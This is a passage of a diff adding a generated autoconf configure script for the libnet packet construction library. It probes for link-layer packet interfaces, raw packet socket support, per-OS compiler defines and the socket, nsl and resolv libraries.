$ac_cv_prog_gcc_traditional" >&5 +echo "${ECHO_T}$ac_cv_prog_gcc_traditional" >&6 + if test $ac_cv_prog_gcc_traditional = yes; then + CC="$CC -traditional" + fi +fi + +if test "$GCC" = yes ; then + CFLAGS="$CFLAGS -Wall" +fi + + + +echo "$as_me:$LINENO: checking link-layer packet interface type" >&5 +echo $ECHO_N "checking link-layer packet interface type... $ECHO_C" >&6 + +if test -r /dev/bpf0 ; then + case $LIBOBJS in + "libnet_link_bpf.$ac_objext" | \ + *" libnet_link_bpf.$ac_objext" | \ + "libnet_link_bpf.$ac_objext "* | \ + *" libnet_link_bpf.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS libnet_link_bpf.$ac_objext" ;; +esac + + echo "$as_me:$LINENO: result: found bpf" >&5 +echo "${ECHO_T}found bpf" >&6 +elif test -r /usr/include/net/pfilt.h ; then + case $LIBOBJS in + "libnet_link_pf.$ac_objext" | \ + *" libnet_link_pf.$ac_objext" | \ + "libnet_link_pf.$ac_objext "* | \ + *" libnet_link_pf.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS libnet_link_pf.$ac_objext" ;; +esac + + echo "$as_me:$LINENO: result: found pf" >&5 +echo "${ECHO_T}found pf" >&6 +elif test -r /dev/nit ; then + case $LIBOBJS in + "libnet_link_snit.$ac_objext" | \ + *" libnet_link_snit.$ac_objext" | \ + "libnet_link_snit.$ac_objext "* | \ + *" libnet_link_snit.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS libnet_link_snit.$ac_objext" ;; +esac + + echo "$as_me:$LINENO: result: found snit" >&5 +echo "${ECHO_T}found snit" >&6 +elif test -r /usr/include/sys/net/nit.h ; then + case $LIBOBJS in + "libnet_link_nit.$ac_objext" | \ + *" libnet_link_nit.$ac_objext" | \ + "libnet_link_nit.$ac_objext "* | \ + *" libnet_link_nit.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS libnet_link_nit.$ac_objext" ;; +esac + + echo "$as_me:$LINENO: result: found nit" >&5 +echo "${ECHO_T}found nit" >&6 +elif test -r /usr/include/net/raw.h ; then + case $LIBOBJS in + "libnet_link_snoop.$ac_objext" | \ + *" libnet_link_snoop.$ac_objext" | \ + "libnet_link_snoop.$ac_objext "* | \ + *" libnet_link_snoop.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS libnet_link_snoop.$ac_objext" ;; +esac + + echo "$as_me:$LINENO: result: found snoop" >&5 +echo "${ECHO_T}found snoop" >&6 +elif test -r /usr/include/sys/dlpi.h ; then + case $LIBOBJS in + "libnet_link_dlpi.$ac_objext" | \ + *" libnet_link_dlpi.$ac_objext" | \ + "libnet_link_dlpi.$ac_objext "* | \ + *" libnet_link_dlpi.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS libnet_link_dlpi.$ac_objext" ;; +esac + + echo "$as_me:$LINENO: result: found dlpi" >&5 +echo "${ECHO_T}found dlpi" >&6 + +cat >>confdefs.h <<\_ACEOF +#define HAVE_DLPI 1 +_ACEOF + +elif test -r /usr/include/linux/socket.h ; then + case $LIBOBJS in + "libnet_link_linux.$ac_objext" | \ + *" libnet_link_linux.$ac_objext" | \ + "libnet_link_linux.$ac_objext "* | \ + *" libnet_link_linux.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS libnet_link_linux.$ac_objext" ;; +esac + + echo "$as_me:$LINENO: result: found linux primitives" >&5 +echo "${ECHO_T}found linux primitives" >&6 + + echo "$as_me:$LINENO: checking for packet socket (PF_SOCKET)" >&5 +echo $ECHO_N "checking for packet socket (PF_SOCKET)... $ECHO_C" >&6 + if test "${ac_libnet_have_packet_socket+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + case "$target_os" in + + linux) + ac_libnet_have_packet_socket = no + ;; + *) + + cat > pf_packet-test.c << EOF +#include <stdio.h> +#include <errno.h> +#include <stdlib.h> +#include <netinet/in.h> +#include <sys/socket.h> +#include <features.h> /* for the glibc version number */ +#if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1 +#include <netpacket/packet.h> +#include <net/ethernet.h> /* the L2 protocols */ +#else +#include <asm/types.h> +#include <linux/if_packet.h> +#include <linux/if_ether.h> /* The L2 protocols */ +#endif + +#ifndef SOL_PACKET +#define SOL_PACKET 263 +#endif /* SOL_PACKET */ + +int +main(int argc, char **argv) +{ + int fd; + + fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (fd == -1) + { + if (errno == EPERM) + { + /* user's UID != 0 */ + printf("probably"); + exit (EXIT_FAILURE); + } + printf("no"); + exit (EXIT_FAILURE); + } + printf("yes"); + exit (EXIT_SUCCESS); +} +EOF + ${CC-cc} -o pf_packet-test $CFLAGS pf_packet-test.c >/dev/null 2>&1 + + # Oopz 4.3 BSD doesn't have this. Sorry. + if test ! -x ./pf_packet-test ; then + ac_libnet_have_packet_socket=choked + else + ac_libnet_have_packet_socket=`./pf_packet-test`; + fi + if test $ac_libnet_have_packet_socket = choked; then + echo "$as_me:$LINENO: result: test program compile choked... assuming no" >&5 +echo "${ECHO_T}test program compile choked... assuming no" >&6 + elif test $ac_libnet_have_packet_socket = yes; then + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 + elif test $ac_libnet_have_packet_socket = probably; then + echo "$as_me:$LINENO: result: test program got EPERM... assuming yes" >&5 +echo "${ECHO_T}test program got EPERM... assuming yes" >&6 + elif test $ac_libnet_have_packet_socket = no; then + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 + fi + + rm -f pf_packet-test* core core.pf_packet-test + ;; + esac +fi + + + if test $ac_libnet_have_packet_socket = yes -o $ac_libnet_have_packet_socket = probably; then + +cat >>confdefs.h <<\_ACEOF +#define HAVE_PACKET_SOCKET 1 +_ACEOF + + fi + + echo "$as_me:$LINENO: checking for Linux proc filesystem" >&5 +echo $ECHO_N "checking for Linux proc filesystem... $ECHO_C" >&6 + if test "${ac_cv_libnet_linux_procfs+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "x`cat /proc/sys/kernel/ostype 2>&-`" = "xLinux" ; then + ac_cv_libnet_linux_procfs=yes + else + ac_cv_libnet_linux_procfs=no + fi +fi + + echo "$as_me:$LINENO: result: $ac_cv_libnet_linux_procfs" >&5 +echo "${ECHO_T}$ac_cv_libnet_linux_procfs" >&6 + if test $ac_cv_libnet_linux_procfs = yes ; then + +cat >>confdefs.h <<\_ACEOF +#define HAVE_LINUX_PROCFS 1 +_ACEOF + + fi +elif test -c /dev/bpf0 ; then # check again in case not readable + case $LIBOBJS in + "libnet_link_bpf.$ac_objext" | \ + *" libnet_link_bpf.$ac_objext" | \ + "libnet_link_bpf.$ac_objext "* | \ + *" libnet_link_bpf.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS libnet_link_bpf.$ac_objext" ;; +esac + + echo "$as_me:$LINENO: result: found bpf" >&5 +echo "${ECHO_T}found bpf" >&6 +elif test -c /dev/nit ; then # check again in case not readable + case $LIBOBJS in + "libnet_link_snit.$ac_objext" | \ + *" libnet_link_snit.$ac_objext" | \ + "libnet_link_snit.$ac_objext "* | \ + *" libnet_link_snit.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS libnet_link_snit.$ac_objext" ;; +esac + + echo "$as_me:$LINENO: result: found snit" >&5 +echo "${ECHO_T}found snit" >&6 +elif test "$target_os" = "cygwin" ; then + case $LIBOBJS in + "libnet_link_win32.$ac_objext" | \ + *" libnet_link_win32.$ac_objext" | \ + "libnet_link_win32.$ac_objext "* | \ + *" libnet_link_win32.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS libnet_link_win32.$ac_objext" ;; +esac + + echo "$as_me:$LINENO: result: found win32 wpcap" >&5 +echo "${ECHO_T}found win32 wpcap" >&6 +else + case $LIBOBJS in + "libnet_link_none.$ac_objext" | \ + *" libnet_link_none.$ac_objext" | \ + "libnet_link_none.$ac_objext "* | \ + *" libnet_link_none.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS libnet_link_none.$ac_objext" ;; +esac + + { echo "$as_me:$LINENO: WARNING: could not find a link-layer packet interface" >&5 +echo "$as_me: WARNING: could not find a link-layer packet interface" >&2;} + { echo "$as_me:$LINENO: WARNING: link-layer packet injection will not be available" >&5 +echo "$as_me: WARNING: link-layer packet injection will not be available" >&2;} +fi + +LIBOBJS=`echo "$LIBOBJS" | + sed 's,\.[^.]* ,$U&,g;s,\.[^.]*$,$U&,'` +LTLIBOBJS=`echo "$LIBOBJS" | + sed 's,\.[^.]* ,.lo ,g;s,\.[^.]*$,.lo,'` + + + +echo -n "scanning available packet construction modules: " +for dir in src/*build*c ; do + echo $dir | sed -e /src\\/libnet_build_/s/// | sed -e /\\.c/s/// | tr \\n \\040 +done +echo "" + + +case "$target_os" in + +*linux*) + +cat >>confdefs.h <<\_ACEOF +#define _BSD_SOURCE 1 +_ACEOF + + +cat >>confdefs.h <<\_ACEOF +#define __BSD_SOURCE 1 +_ACEOF + + +cat >>confdefs.h <<\_ACEOF +#define __FAVOR_BSD 1 +_ACEOF + + + LIBNET_CONFIG_DEFINES="-D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD" + +for ac_header in net/ethernet.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +fi +echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 +echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 +else + # Is the header compilable? +echo "$as_me:$LINENO: checking $ac_header usability" >&5 +echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_header_compiler=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_header_compiler=no +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 +echo "${ECHO_T}$ac_header_compiler" >&6 + +# Is the header present? +echo "$as_me:$LINENO: checking $ac_header presence" >&5 +echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <$ac_header> +_ACEOF +if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 + (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + ac_header_preproc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_preproc=no +fi +rm -f conftest.err conftest.$ac_ext +echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 +echo "${ECHO_T}$ac_header_preproc" >&6 + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in + yes:no: ) + { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 +echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} + ac_header_preproc=yes + ;; + no:yes:* ) + { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 +echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 +echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 +echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 +echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 +echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} + ( + cat <<\_ASBOX +## ------------------------------------------------------ ## +## Report this to the Packet construction library lists. ## +## ------------------------------------------------------ ## +_ASBOX + ) | + sed "s/^/$as_me: WARNING: /" >&2 + ;; +esac +echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + eval "$as_ac_Header=\$ac_header_preproc" +fi +echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 +echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 + +fi +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + \ + LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DHAVE_NET_ETHERNET_H" +fi + +done + + ;; + +*freebsd*) + +cat >>confdefs.h <<\_ACEOF +#define LIBNET_BSDISH_OS 1 +_ACEOF + + +cat >>confdefs.h <<\_ACEOF +#define LIBNET_BSD_BYTE_SWAP 1 +_ACEOF + + +cat >>confdefs.h <<\_ACEOF +#define HAVE_SOCKADDR_SA_LEN 1 +_ACEOF + + + LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP -DHAVE_SOCKADDR_SA_LEN" + ;; + +*netbsd*) + +cat >>confdefs.h <<\_ACEOF +#define LIBNET_BSDISH_OS 1 +_ACEOF + + +cat >>confdefs.h <<\_ACEOF +#define LIBNET_BSD_BYTE_SWAP 1 +_ACEOF + + + LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP" + ;; + +*openbsd*) + +cat >>confdefs.h <<\_ACEOF +#define LIBNET_BSDISH_OS 1 +_ACEOF + + +cat >>confdefs.h <<\_ACEOF +#define HAVE_SOCKADDR_SA_LEN 1 +_ACEOF + + LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS" + ;; + +*bsdi*) + +cat >>confdefs.h <<\_ACEOF +#define LIBNET_BSDISH_OS 1 +_ACEOF + + +cat >>confdefs.h <<\_ACEOF +#define LIBNET_BSD_BYTE_SWAP 1 +_ACEOF + + LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP" + ;; + +*darwin*) + +cat >>confdefs.h <<\_ACEOF +#define HAVE_SOCKADDR_SA_LEN 1 +_ACEOF + + LIBNET_CONFIG_DEFINES="-DHAVE_SOCKADDR_SA_LEN" + ;; + +*solaris*) + +cat >>confdefs.h <<\_ACEOF +#define HAVE_SOLARIS 1 +_ACEOF + + + +for ac_header in sys/bufmod.h sys/dlpi_ext.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +fi +echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 +echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 +else + # Is the header compilable? +echo "$as_me:$LINENO: checking $ac_header usability" >&5 +echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_header_compiler=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_header_compiler=no +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 +echo "${ECHO_T}$ac_header_compiler" >&6 + +# Is the header present? +echo "$as_me:$LINENO: checking $ac_header presence" >&5 +echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <$ac_header> +_ACEOF +if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 + (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + ac_header_preproc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_preproc=no +fi +rm -f conftest.err conftest.$ac_ext +echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 +echo "${ECHO_T}$ac_header_preproc" >&6 + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in + yes:no: ) + { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 +echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} + ac_header_preproc=yes + ;; + no:yes:* ) + { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 +echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 +echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 +echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 +echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 +echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} + ( + cat <<\_ASBOX +## ------------------------------------------------------ ## +## Report this to the Packet construction library lists. ## +## ------------------------------------------------------ ## +_ASBOX + ) | + sed "s/^/$as_me: WARNING: /" >&2 + ;; +esac +echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + eval "$as_ac_Header=\$ac_header_preproc" +fi +echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 +echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 + +fi +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + echo "$as_me:$LINENO: checking for /dev/dlpi device" >&5 +echo $ECHO_N "checking for /dev/dlpi device... $ECHO_C" >&6 + if test -c /dev/dlpi; then + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 + +cat >>confdefs.h <<\_ACEOF +#define HAVE_DEV_DLPI 1 +_ACEOF + + else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 + dir="/dev/dlpi" + echo "$as_me:$LINENO: checking for $dir directory" >&5 +echo $ECHO_N "checking for $dir directory... $ECHO_C" >&6 + if test -d $dir ; then + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 + +cat >>confdefs.h <<_ACEOF +#define DLPI_DEV_PREFIX "$dir" +_ACEOF + + else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 + fi + fi + +echo "$as_me:$LINENO: checking for socket in -lsocket" >&5 +echo $ECHO_N "checking for socket in -lsocket... $ECHO_C" >&6 +if test "${ac_cv_lib_socket_socket+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lsocket $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char socket (); +int +main () +{ +socket (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_socket_socket=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_socket_socket=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_socket_socket" >&5 +echo "${ECHO_T}$ac_cv_lib_socket_socket" >&6 +if test $ac_cv_lib_socket_socket = yes; then + cat >>confdefs.h <<_ACEOF +#define HAVE_LIBSOCKET 1 +_ACEOF + + LIBS="-lsocket $LIBS" + +else + { { echo "$as_me:$LINENO: error: libsocket not found." >&5 +echo "$as_me: error: libsocket not found." >&2;} + { (exit 1); exit 1; }; } +fi + + +echo "$as_me:$LINENO: checking for gethostbyname in -lnsl" >&5 +echo $ECHO_N "checking for gethostbyname in -lnsl... $ECHO_C" >&6 +if test "${ac_cv_lib_nsl_gethostbyname+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lnsl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char gethostbyname (); +int +main () +{ +gethostbyname (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_nsl_gethostbyname=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_nsl_gethostbyname=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_nsl_gethostbyname" >&5 +echo "${ECHO_T}$ac_cv_lib_nsl_gethostbyname" >&6 +if test $ac_cv_lib_nsl_gethostbyname = yes; then + cat >>confdefs.h <<_ACEOF +#define HAVE_LIBNSL 1 +_ACEOF + + LIBS="-lnsl $LIBS" + +else + { { echo "$as_me:$LINENO: error: libnsl not found." >&5 +echo "$as_me: error: libnsl not found." >&2;} + { (exit 1); exit 1; }; } +fi + + +echo "$as_me:$LINENO: checking for hstrerror in -lresolv" >&5 +echo $ECHO_N "checking for hstrerror in -lresolv... $ECHO_C" >&6 +if test "${ac_cv_lib_resolv_hstrerror+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lresolv $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char hstrerror (); +int +main () +{ +hstrerror (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" 